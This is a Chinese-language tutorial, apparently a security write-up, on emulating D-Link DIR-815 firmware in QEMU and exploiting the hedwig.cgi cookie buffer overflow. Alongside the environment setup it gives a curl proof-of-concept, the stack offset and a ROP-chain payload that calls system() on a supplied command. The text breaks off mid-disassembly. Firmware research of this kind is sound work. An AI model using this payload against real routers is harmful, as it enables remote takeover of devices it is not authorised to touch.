Building MIPS Environment for Ro
Building MIPS Environment for Router && PWN
Tools for preparation
#D-Link DIR-815 buffer overflow on hedwig.cgi
qemu User Mode&&官网固件 搭建调试环境
qemu System Mode&&官网固件 MIPS虚拟机搭建路由器Web服务
debug&&POC编写
run POC&&MIPS虚拟机Web服务下反弹get shell
Tools for preparation
0x01 Full version of binwalk
To get the filesystem
https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md
0x02 QEMU
git clone git://git.qemu-project.org/qemu.git
#或者qemu官网下载特定版本源码
sudo apt-get install libglib2.0 libglib2.0-dev
sudo apt-get install autoconf automake libtool
sudo ./configure --static&&sudo make&&sudo make install
#编译时间过长,可使用:
#--target-list=mipsel-softmmu,mipsel-linux-user
#进行选择编译
注意(针对此固件):
版本过高:
- FPU MODE问题:
http://patchwork.ozlabs.org/patch/989595/
将最新更新的这地方patch掉就能正常使用
- 运行起来debug时ida容易跑飞
版本过低:
Invalid ELF image for this architecture
在qemu/linux-user/elfload.c中patch为:
static bool elf_check_ehdr(struct elfhdr *ehdr)
{
return (elf_check_arch(ehdr->e_machine)
&& ehdr->e_ehsize == sizeof(struct elfhdr)
&& ehdr->e_phentsize == sizeof(struct elf_phdr)
// && ehdr->e_shentsize == sizeof(struct elf_shdr) //注释掉此行
&& (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));
}
实测中2.5版本比较适用
0x03 libguestfs
To mount qcow2:
sudo apt-get install libguestfs-tools
0x04 MIPS-GCC
mips交叉编译环境搭建:
openwrt或者buildroot:
- openwrt:
官网下载需要的toolchain(或者源码编译)而后配置编译环境即可
For example:
wget https://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620n/OpenWrt-Toolchain-ramips-for-mipsel_24kec%2bdsp-gcc-4.8-linaro_uClibc-0.9.33.2.tar.bz2
tar -jxvf OpenWrt-Toolchain-ramips-for-mipsel_24kec+dsp-gcc-4.8-linaro_uClibc-0.9.33.2.tar.bz2
export STAGING_DIR=~/OpenWrt-Toolchain-ramips-for-mipsel_24kec+dsp-gcc-4.8-linaro_uClibc-0.9.33.2/toolchain-mipsel_24kec+dsp_gcc-4.8-linaro_uClibc-0.9.33.2/bin:$STAGING_DIR
#而后使用STAGING_DIR下的mipsel-openwrt-linux-gcc编译即可,这个适用于刷入openwrt的系统
- buildroot:
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot
make clean
make menuconfig
#配置上:
Target Architecture:MIPS(little endian)
Target Architecture Variant: mips32
Toolchain->Kernel Headers:本机对应的内核版本
#保存配置(可能需要下载依赖:sudo apt-get install libncurses5-dev patch)
sudo make
0x05 gdb&&gdbserver
下载源码:
ftp://ftp.gnu.org/gnu/gdb
gdb&gdbserver:
gdb->./
gdbserver->./gdb/gdbserver
MIPS环境下:
./configure --host=mipsel-linux --target=mipsel-linux --prefix=......
export CC=....../mipsel-linux-gcc #设置交叉编译环境
生成Makefile后,将$(CC)改为$(CC) -static #静态编译,防止出现库问题
#也可以在$(COMPILER)后添加 -static,能静态编译即可
本机下:
./configure --host=(本机环境) --target=mipsel-linux --prefix=.....
#会有一些报错,可以自己修改源码或者更换版本
0x06 Some Tools for IDA
Retdec
IDA 7.0:
- 插件安装
https://github.com/avast-tl/retdec-idaplugin/
#releases
- 配置Retdec:
https://github.com/avast-tl/retdec/
#releases
3.2版本不需要其他依赖
在Options->Retdec plugin options配置好retdec-decompiler.py位置即可
MIPS ROP Finder
IDA 6.8:
https://github.com/devttys0/ida/
将:
https://github.com/devttys0/ida/tree/master/plugins/mipsrop
放入IDA_ROOT/plugins/下即可
Building Environment for debug
0x01 Get the binary
官网固件下载:
ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
Get the filesystem:
binwalk -e ./DIR-815\ FW\ 1.01b14_1.01b14.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/2"
108 0x6C LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3017436 bytes
983148 0xF006C PackImg section delimiter tag, little endian size: 14690816 bytes; big endian size: 2809856 bytes
983180 0xF008C Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2808054 bytes, 1526 inodes, blocksize: 262144 bytes, created: 2011-05-12 14:14:40
filesystem:
~/router/DIR-815/squashfs-root$ ls
bin dev etc home htdocs lib mnt proc sbin sys tmp usr var www
漏洞描述:
Buffer overflow on "hedwig. cgi"
Another buffer overflow affects the" hedwig. cgi" CGI script. Unauthenticatedremote attackers can invoke this CGI with an overly-long cookie value thatcan overflow a program buffer and overwrite the saved program address.
Proof-of -concept:
curl -b uid=$(perl -e' print "A' x1400:;") -d ' test' http://<target íp>/hedwig. cgi
hedwig.cgi:
~/router/DIR-815/squashfs-root/htdocs/web$ ls -l|grep hedwig.cgi
lrwxrwxrwx 1 kirin kirin 14 1月 6 23:35 hedwig.cgi -> /htdocs/cgibin
~/router/DIR-815/squashfs-root/htdocs$ checksec ./cgibin
[!] Could not populate PLT: Invalid memory write (UC_ERR_WRITE_UNMAPPED)
[*] '/home/kirin/router/DIR-815/squashfs-root/htdocs/cgibin'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
0x02 IDA静态分析
大致分析漏洞点:
首先看到cgibin中:
#main function:
.text:004023E0 lui $gp, 0x43 # 'C'
.text:004023E4 addiu $sp, -0x30
.text:004023E8 li $gp, 0x4346D0
.text:004023EC sw $ra, 0x30+var_4($sp)
.text:004023F0 sw $s3, 0x30+var_8($sp)
.text:004023F4 sw $s2, 0x30+var_C($sp)
.text:004023F8 sw $s1, 0x30+var_10($sp)
.text:004023FC sw $s0, 0x30+var_14($sp)
.text:00402400 sw $gp, 0x30+var_20($sp)
.text:00402404 lw $s0, 0($a1)
.text:00402408 la $t9, strrchr
.text:0040240C move $s2, $a1
.text:00402410 move $s1, $a0
.text:00402414 li $a1, 0x2F # '/' # c
.text:00402418 move $a0, $s0 # s
.text:0040241C jalr $t9 ; strrchr
.text:00402420 move $s3, $a2
.text:00402424 lw $gp, 0x30+var_20($sp)
.text:00402428 beqz $v0, loc_402434
.text:0040242C nop
.text:00402430 addiu $s0, $v0, 1
.text:00402434
.text:00402434 loc_402434: # CODE XREF: main+48↑j
.text:00402434 la $t9, strcmp
.text:00402438 la $a1, aPhpcgi # "phpcgi"
.text:00402440 jalr $t9 ; strcmp
.text:00402444 move $a0, $s0 # s1
.text:00402448 lw $gp, 0x30+var_20($sp)
.text:0040244C bnez $v0, loc_402460
.text:00402450 lui $a1, 0x42 # 'B'
.text:00402454 la $t9, phpcgi_main
.text:00402458 b loc_40268C
.text:0040245C move $a0, $s1
.text:00402460 # ---------------------------------------------------------------------------
.text:00402460
.text:00402460 loc_402460: # CODE XREF: main+6C↑j
.text:00402460 la $t9, strcmp
.text:00402464 addiu $a1, (aDlcfg_cgi - 0x420000) # "dlcfg.cgi"
.text:00402468 jalr $t9 ; strcmp
.text:0040246C move $a0, $s0 # s1
.text:00402470 lw $gp, 0x30+var_20($sp)
.text:00402474 bnez $v0, loc_402488
.text:00402478 lui $a1, 0x42 # 'B'
.text:0040247C la $t9, dlcfg_main
......
......
采取软链接方式调用程序,并对调用时的binary名称比较,选择处理数据的主函数,因此找到调用hedwig.cgi时对应的main函数hedwigcgi_main:
首先看到在函数开始时:
.text:0040950C li $a2, 0x11 # n
.text:00409510 lw $gp, 0x4E8+var_4D8($sp)
.text:00409514 lui $a0, 0x42 # 'B'
.text:00409518 la $t9, getenv
.text:0040951C nop
.text:00409520 jalr $t9 ; getenv
.text:00409524 la $a0, aRequest_method # "REQUEST_METHOD"
.text:00409528 lw $gp, 0x4E8+var_4D8($sp)
.text:0040952C bnez $v0, loc_409540
.text:00409530 nop
.text:00409534 lui $v0, 0x42 # 'B'
.text:00409538 b loc_4095C8
.text:0040953C addiu $a1, $v0, (aNoRequest - 0x420000) # "no REQUEST"
......
......
程序通过getenv的方式获取HTTP数据包中的数据,流程应该为:
主Web程序监听端口->传送HTTP数据包->
HTTP中headers等数据通过环境变量的方式传给cgi处理程序->
cgi程序通过getenv获取数据并处理返回给主程序->向客户端返回响应数据
#POST具体数据可以通过类似输入流传入 :echo "uid=aaa"| /htdocs/web/hedwig.cgi
因此,动态调试时只需要使用qemu -E设置环境变量或者在mips系统中export设置环境变量并允许程序即可模拟Web场景
下面看到处理cookie的过程:
.text:00409640 la $t9, sess_get_uid
.text:00409644 nop
.text:00409648 jalr $t9 ; sess_get_uid
.text:0040964C move $a0, $s5
.text:00409650 lw $gp, 0x4E8+var_4D8($sp)
.text:00409654 nop
.text:00409658 la $t9, sobj_get_string
.text:0040965C nop
.text:00409660 jalr $t9 ; sobj_get_string
.text:00409664 move $a0, $s5
.text:00409668 lw $gp, 0x4E8+var_4D8($sp)
.text:0040966C lui $a1, 0x42 # 'B'
.text:00409670 la $t9, sprintf
.text:00409674 move $a3, $v0
.text:00409678 move $a2, $s2
.text:0040967C la $a1, aSSPostxml # "%s/%s/postxml"
.text:00409680 jalr $t9 ; sprintf
sess_get_uid function为提取cookie中"uid="后的字符串
这段最终调用为:
sprintf(stack_addr,"%s/%s/postxml","/runtime/session",cookie_after_treat)
此时当cookie过长会覆盖栈中内容
当hedwigcgi_main返回时:
.text:00409A30 lw $fp, 0x4E8+var_8($sp)
.text:00409A34 lw $s7, 0x4E8+var_C($sp)
.text:00409A38 lw $s6, 0x4E8+var_10($sp)
.text:00409A3C lw $s5, 0x4E8+var_14($sp)
.text:00409A40 lw $s4, 0x4E8+var_18($sp)
.text:00409A44 lw $s3, 0x4E8+var_1C($sp)
.text:00409A48 lw $s2, 0x4E8+var_20($sp)
.text:00409A4C lw $s1, 0x4E8+var_24($sp)
.text:00409A50 lw $s0, 0x4E8+var_28($sp)
.text:00409A54 jr $ra
造成栈溢出
不过后面的程序流程:
.text:004096B0 la $a0, aVarTmpTemp_xml # "/var/tmp/temp.xml"
.text:004096B4 jalr $t9 ; fopen
.text:004096B8 la $a1, aW # "w"
.text:004096BC lw $gp, 0x4E8+var_4D8($sp)
.text:004096C0 bnez $v0, loc_4096D4
.text:004096C4 move $s2, $v0
.text:004096C8 lui $v0, 0x42 # 'B'
.text:004096CC b loc_409A64
.text:004096D0 addiu $a1, $v0, (aUnableToOpenTe - 0x420000) # "unable to open temp file."
当在/var/tmp/下成功打开temp.xml ('w'模式),便会有:
.text:00409958 jalr $t9 ; sobj_get_string
.text:0040995C move $a0, $s5
.text:00409960 lw $gp, 0x4E8+var_4D8($sp)
.text:00409964 lui $a1, 0x42 # 'B'
.text:00409968 la $t9, sprintf
.text:0040996C lui $a2, 0x42 # 'B'
.text:00409970 la $a1, aHtdocsWebincFa # "/htdocs/webinc/fatlady.php\nprefix=%s/%"...
.text:00409974 la $a2, aRuntimeSession # "/runtime/session"
.text:00409978 move $a3, $v0
.text:0040997C jalr $t9 ; sprintf
即:
sprintf(stack_addr,"/htdocs/webinc/fatlady.php\nprefix=%s/%s","/runtime/session",cookie_after_treat)
这里也会造成栈溢出,真实应该是要在这里debug
(因为此处sprintf会覆盖前一个sprintf的数据)
因为如果不存在/var/tmp(打开/var/tmp/temp.xml失败):
.text:004096C4 move $s2, $v0
.text:004096C8 lui $v0, 0x42 # 'B'
.text:004096CC b loc_409A64
.text:004096D0 addiu $a1, $v0, (aUnableToOpenTe - 0x420000) # "unable to open temp file."
会直接返回unable to open temp file
所以真实环境应该存在/var/tmp文件夹
debug时在./var/下手动创建即可
还需要POST数据包中包含"uid=......"
否则有一处会分配空间失败:
.text:00409AB0 la $t9, sobj_strdup
.text:00409AB4 lw $a0, 4($s0)
.text:00409AB8 jalr $t9 ; sobj_strdup
.text:00409ABC nop
.text:00409AC0 lw $ra, 0x20+var_4($sp)
.text:00409AC4 lui $v1, 0x43 # 'C'
.text:00409AC8 lw $gp, 0x20+var_10($sp)
.text:00409ACC lw $s0, 0x20+var_8($sp)
.text:00409AD0 sw $v0, haystack
.text:00409AD4 jr $ra
.text:00409AD8 addiu $sp, 0x20
从而最后:
.text:004096D4 lw $v0, haystack
.text:004096DC nop
.text:004096E0 bnez $v0, loc_4096F0
.text:004096E4 lui $v0, 0x42 # 'B'
.text:004096E8 b loc_409A64
.text:004096EC addiu $a1, $v0, (aNoXmlData_ - 0x420000) # "no xml data."
此时也不会进入第二个sprintf,不过第一处依然存在栈溢出
不过这样情况下在我的MIPS虚拟机下复现失败
但是会产生signal 11,失败应该只是环境问题
0x03 Debug Environment with QEMU User Mode
动态debug环境:静态编译的qemu+chroot+IDA
#!/bin/bash
INPUT="$1"
COOKIE="$2"
PORT="$3"
LEN=$(echo -n "$INPUT" | wc -c)
echo $INPUT | chroot . ./qemu-mipsel -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/hedwig.cgi
sudo ./debug.sh "uid=1234" "uid=kirin" 1234
IDA下remote gdb debugger连接对应端口即可(推荐IDA 6.8)
0x04 Web Server Build with QEMU System Mode
利用qemu-system-mipsel重现web服务环境
首先观察文件系统
主要看有那些服务&&命令,推测大致启动模式
而后在MIPS中重现关键web服务即可
主要看各个bin下(/bin /sbin /usr/bin /usr/sbin ......)以及web服务特点
首先从web目录下确定服务为php+cgi
在命令中发现httpd
猜测httpd监听web端口,调用cgi&&php程序处理数据并返回客户端
下面找到相关web配置:
~/router/DIR-815/squashfs-root$ find ./ -name "*http*"
./usr/sbin/httpc
./sbin/httpd
./etc/services/HTTP/httpcfg.php
./etc/services/HTTP/httpsvcs.php
看到httpcfg.php:
Umask 026
PIDFile /var/run/httpd.pid
#LogGMT On
#ErrorLog /dev/console
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
<?
include "/htdocs/phplib/phyinf.php";
function http_server($sname, $uid, $ifname, $af, $ipaddr, $port, $hnap, $widget, $smart404)
{
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Address ".$ipaddr. "\n".
" Port ".$port. "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/web". "\n".
" IndexNames { index.php }". "\n";
if ($uid=="LAN-1"||$uid=="WAN-1") echo
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { txt }". "\n".
" }". "\n";
if ($widget > 0) echo
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { router_info.xml }"."\n".
" /usr/sbin/phpcgi { post_login.xml }"."\n".
" }". "\n";
echo
" }". "\n";
if ($smart404 != "")
{
echo
' Control'. '\n'.
' {'. '\n'.
' Alias /smart404'. '\n'.
' Location /htdocs/smart404'. '\n'.
' }'. '\n';
}
if ($hnap > 0)
{
echo
" Control". "\n".
" {". "\n".
" Alias /HNAP1". "\n".
" Location /htdocs/HNAP1". "\n".
" External". "\n".
" {". "\n".
" /usr/sbin/hnap { hnap }". "\n".
" }". "\n".
" IndexNames { index.hnap }". "\n".
" }". "\n";
}
echo
" }". "\n".
"}". "\n";
}
function ssdp_server($sname, $uid, $ifname, $af, $ipaddr)
{
if ($af=="inet6") return;
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Port 1900". "\n".
" Address 239.255.255.250". "\n".
" Datagrams On". "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/upnp/docs/".$uid."\n".
" External". "\n".
" {". "\n".
" /htdocs/upnp/ssdpcgi { * }"."\n".
" }". "\n".
" }". "\n".
" }". "\n".
"}". "\n".
"\n";
}
function upnp_server($sname, $uid, $ifname, $af, $ipaddr, $port)
{
if ($af=="inet6") return;
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Address ".$ipaddr. "\n".
" Port ".$port. "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/upnp/docs/".$uid."\n".
" }". "\n".
" }". "\n".
"}". "\n".
"\n";
}
foreach("/runtime/services/http/server")
{
$model = query("/runtime/device/modelname");
$ver = query("/runtime/device/firmwareversion");
$smart404 = query("/runtime/smart404");
$sname = "Linux, HTTP/1.1, ".$model." Ver ".$ver; /* HTTP server name */
$suname = "Linux, UPnP/1.0, ".$model." Ver ".$ver; /* UPnP server name */
$mode = query("mode");
$inf = query("inf");
$ifname = query("ifname");
$ipaddr = query("ipaddr");
$port = query("port");
$hnap = query("hnap");
$widget = query("widget");
$af = query("af");
if ($af!="" && $ifname!="")
{
if ($mode=="HTTP") http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404);
else if ($mode=="SSDP") ssdp_server($sname, $inf,$ifname,$af,$ipaddr);
else if ($mode=="UPNP") upnp_server($suname,$inf,$ifname,$af,$ipaddr,$port);
}
}
?>
可以看到这里用于生成配置文件
我们只需要其中的http服务
大致审一下function http_server
改写main为:
$smart404 = "kirin";
$sname = "Linux, HTTP/1.1, "; /* HTTP server name */
$inf = "1234";
$ifname = "eth0";
$ipaddr = "127.0.0.1";
$port = "80";
$hnap = 1;
$widget = 2;
$af = "kirin";
http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404);
运行即可生成配置文件
下面配置qemu system mode下配置MIPS虚拟机:
推荐ubuntu 12.04 32bit,其他的配置网卡容易失败
下载内核和磁盘镜像
https://people.debian.org/~aurel32/qemu/mipsel/
内核:
vmlinux-2.6.32-5-4kc-malta
磁盘镜像:
debian_squeeze_mipsel_standard.qcow2
(最好的方案是使用提取出的文件系统制作镜像,然后qemu运行,不过失败了
只能采取使用MIPS虚拟机并配置对应Web服务)
配置MIPS虚拟机网卡(针对ubuntu 12.04 32bit,其他我没配置成功):
首先安装依赖:
sudo apt-get install bridge-utils uml-utilities
编辑/etc/network/interfaces
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
#auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_maxwait 0
保存后建立桥接网络:
sudo ifdown eth0
sudo ifup eth0
sudo ifup br0
编辑/etc/qemu-ifup为:
(这个脚本会在qemu-system使用时自动启动来配置qemu虚拟机网卡)
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2
而后启动MIPS虚拟机:
sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap -nographic
启动时虚拟机user&&passwd都是"root"
此时ifconfig -a发现存在eth1,但没有分配ip:
编辑MIPS虚拟机的/etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
allow-hotplug eth1
iface eth1 inet dhcp
而后ifup eth1使eth1生效即可
ifconfig -a看到成功分配ip(和ubuntu的br0 ip对应)
下面在MIPS虚拟机中配置路由器web服务
这里有两种方法:
-
方法一 在ubuntu挂载磁盘镜像:
利用libguestfs挂载qcow2磁盘镜像
sudo guestmount -a ./debian_squeeze_mipsel_standard.qcow2 -m /dev/sda1 ./point
-a+磁盘镜像
-m+需要挂载的磁盘分区
最后+挂载位置
#删除:sudo guestunmount ./point
而后在指定的文件夹下即可看到磁盘中的文件系统,将固件根目录的htdocs复制到镜像根目录
将etc目录复制到镜像根目录,直接复制即可,覆盖掉的文件没有什么作用
将固件lib下所需要的共享库复制到镜像libc下(libgcc_s.so版本不同,需要覆盖掉):
ld-uClibc-0.9.30.1.so
libcrypt-0.9.30.1.so
libc.so.0
libgcc_s.so.1
ld-uClibc.so.0
libcrypt.so.0
libgcc_s.so
libuClibc-0.9.30.1.so
将httpd复制进镜像,并编写好配置文件(即上面php输出部分):
Umask 026
PIDFile /var/run/httpd.pid
#LogGMT On
#ErrorLog /dev/console
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family kirin
Interface eth0
Address 127.0.0.1
Port 80
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /smart404
Location /htdocs/smart404
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
静态分析httpd程序,需要修改一些部分:
LogGMT On #开启log
ErrorLog /log #log文件
Family inet
Interface eth1
Address 192.168.160.142 //对应自己qemu虚拟机IP
Port 1234 //未被占用的端口
再重新挂载启动,流程和前面配置网络相同
根据配置及固件,还需要在MIPS虚拟机中建立两个软连接:
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
-
方法二 SSH配置Web Server
配置方法相同
配置好网络后,将需要的文件打包scp上传到MIPS虚拟机再解压即可
配置好虚拟机后根据conf启动httpd服务即可:
httpd -f ./conf
检测是否成功
在物理机curl测试:
~$ curl http://192.168.160.142:1232/hedwig.cgi -v -X POST -H "Content-Length: 8" -b "uid=kirin"
* Trying 192.168.160.142...
* Connected to 192.168.160.142 (192.168.160.142) port 1232 (#0)
> POST /hedwig.cgi HTTP/1.1
> Host: 192.168.160.142:1232
> User-Agent: curl/7.47.0
> Accept: */*
> Cookie: uid=kirin
> Content-Length: 8
>
< HTTP/1.1 200 OK
< Server: Linux, HTTP/1.1,
< Date: Thu, 21 Feb 2019 18:28:12 GMT
< Transfer-Encoding: chunked
< Content-Type: text/xml
<
* Connection #0 to host 192.168.160.142 left intact
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>
MIPS虚拟机下查看log:
root@debian-mipsel:/# cat /log
Thu Feb 21 18:28:12 2019 [3391] process_headers: method[POST], nheaders=[4], URL[/hedwig.cgi]
Thu Feb 21 18:28:12 2019 [3391] readfromclient: client went away while posting data
Thu Feb 21 18:28:12 2019 [3391] child process 3418 exited with status 255
Web Server Build Successfully
(注意,这里并没有完全启动,因为毕竟整个固件有其他依赖,不过关键程序已成功启动)
通过前面IDA下的静态分析,在MIPS虚拟机下也可以通过export设置HTTP_METHOD等环境变量来单一调用cgi程序
For example:
root@debian-mipsel:/# export
declare -x CONTENT_LENGTH="20"
declare -x CONTENT_TYPE="application/x-www-form-urlencoded"
declare -x HOME="/root"
declare -x HTTP_COOKIE="uid=1234"
declare -x HUSHLOGIN="FALSE"
declare -x LANG="en_US.UTF-8"
declare -x LOGNAME="root"
declare -x MAIL="/var/mail/root"
declare -x OLDPWD="/proc"
declare -x PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
declare -x PWD="/"
declare -x REMOTE_ADDR="192.168.1.1"
declare -x REQUEST_METHOD="POST"
declare -x REQUEST_URI="/hedwig.cgi"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x TERM="vt100"
declare -x USER="root"
root@debian-mipsel:/# /htdocs/web/hedwig.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
#缺少POST数据
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>
root@debian-mipsel:/# echo "uid=1234"|/htdocs/web/hedwig.cgi
root@debian-mipsel:/ #运行成功
Debug && POC编写
QEMU User Mode+IDA debug即可
MIPS虚拟机下gdbserver总是crash
sudo ./debug.sh "uid=1234" `python -c 'printf "uid="+"A"*0x400'` 1234
主要通过IDA动态调试看到成功覆盖栈内返回地址($RA)
以及确定payload偏移量即可
最后利用MIPSROP插件构造ROP chain,这里注意sprintf绕过"\x00"即可,所以选取动态库(libc.so.0 -> libuClibc-0.9.30.1.so)进行构造(因为位于高地址,容易绕过地址高位的"\x00"):
在IDA 6.8中启动mipsrop插件,而后:
mipsrop.stackfinders()
选取特定的ROP elements:
example: mipsrop.find("addiu $s0,1");//参数为所需语句
最终payload:
payload="A"*offset #fill
payload+=p32(libc_addr+0x531ff) # $s0
payload+="A"*4 # $s1
payload+="A"*4 # $s2
payload+="A"*4 # $s3
payload+="A"*4 # $s4
payload+=p32(libc_addr+0x159cc) # $s5
payload+="A"*4 # $s6
payload+="A"*4 # $s7
payload+="A"*4 # $gp
payload+=p32(libc_addr+0x158c8) # $ra
payload+="A"*16 #fill
payload+=cmd # shellcode
其中:
$ra:libc_addr+0x158c8:
.text:000158C8 move $t9, $s5
.text:000158CC jalr $t9
.text:000158D0 addiu $s0, 1 #$s0=$s0+1=system_addr-1+1=system_addr
$s5=libc_addr+0x159cc:
.text:000159CC addiu $s5, $sp, 0x170+var_160 #addiu $s5,$sp,0x10
#->$s5指向 $sp+0x10->cmd
.text:000159D0 move $a1, $s3
.text:000159D4 move $a2, $s1
.text:000159D8 move $t9, $s0 #$t9=$s0=system_addr
.text:000159DC jalr $t9
.text:000159E0 move $a0, $s5#$a0=$s5->cmd
此ROP chain整体流程:
system_addr-1,末位为"\xFF",用于bypass sprintf
执行ROP chain->计算正确的system_addr->将栈中cmd地址传入$a0
最终调用system(cmd)
动态debug可以确定offset为0x3cd
libc_addr:
在ubuntu 16.04下qemu user mode动态调试
可以利用程序一些库中函数在调试中的实际地址减去so文件中该函数偏移量确定libc的加载基址
确定后,在qemu user mode下运行POC,确实会调用到system
不过:在so库中的system中可以看到:
.text:00053200 .globl system # weak
.text:00053200 system: # DATA XREF: LOAD:00003324↑o
.text:00053200 # LOAD:00005084↑o
.text:00053200
.text:00053200 var_38 = -0x38
.text:00053200 var_30 = -0x30
.text:00053200 var_28 = -0x28
.text:00053200 var_1C = -0x1C
.text:00053200 var_18 = -0x18
.text:00053200 var_14 = -0x14
.text:00053200 var_10 = -0x10
.text:00053200 var_C = -0xC
.text:00053200 var_8 = -8
.text:00053200 var_4 = -4
.text:00053200
.text:00053200 la $gp, loc_232E0 # Alternative name is '__libc_system'
.text:00053208 addu $gp, $t9
.text:0005320C addiu $sp, -0x48
.text:00053210 sw $ra, 0x48+var_4($sp)
.text:00053214 sw $s5, 0x48+var_8($sp)
.text:00053218 sw $s4, 0x48+var_C($sp)
.text:0005321C sw $s3, 0x48+var_10($sp)
.text:00053220 sw $s2, 0x48+var_14($sp)
.text:00053224 sw $s1, 0x48+var_18($sp)
.text:00053228 sw $s0, 0x48+var_1C($sp)
.text:0005322C sw $gp, 0x48+var_30($sp)
.text:00053230 move $s5, $a0
.text:00053234 beqz $a0, loc_533C4
.text:00053238 li $v0, 1
.text:0005323C la $s1, signal
.text:00053240 li $a0, 3
.text:00053244 move $t9, $s1
.text:00053248 jalr $t9 ; signal
.text:0005324C li $a1, 1
.text:00053250 li $a0, 2
.text:00053254 li $a1, 1
.text:00053258 move $t9, $s1
.text:0005325C jalr $t9 ; signal
.text:00053260 move $s2, $v0
.text:00053264 li $a0, 0x12
.text:00053268 move $a1, $zero
.text:0005326C move $t9, $s1
.text:00053270 jalr $t9 ; signal
.text:00053274 move $s3, $v0
.text:00053278 lw $gp, 0x48+var_30($sp)
.text:0005327C la $t9, fork
.text:00053280 jalr $t9 ; fork
.text:00053284 move $s4, $v0
.text:00053288 bgez $v0, loc_532CC
.text:0005328C move $s0, $v0
.text:00053290 move $a1, $s2
.text:00053294 move $t9, $s1
.text:00053298 jalr $t9 ; signal
.text:0005329C li $a0, 3
.text:000532A0 move $a1, $s3
.text:000532A4 move $t9, $s1
.text:000532A8 jalr $t9 ; signal
.text:000532AC li $a0, 2
.text:000532B0 move $a1, $s4
.text:000532B4 move $t9, $s1
.text:000532B8 jalr $t9 ; signal
.text:000532BC li $a0, 0x12
.text:000532C0 lw $gp, 0x48+var_30($sp)
.text:000532C4 b loc_533C4
.text:000532C8 li $v0, 0xFFFFFFFF
.text:000532CC # ---------------------------------------------------------------------------
.text:000532CC
.text:000532CC loc_532CC: # CODE XREF: system+88↑j
.text:000532CC bnez $v0, loc_5333C
.text:000532D0 li $a0, 3
.text:000532D4 move $t9, $s1
.text:000532D8 jalr $t9 ; signal
.text:000532DC move $a1, $zero
.text:000532E0 li $a0, 2
.text:000532E4 move $t9, $s1
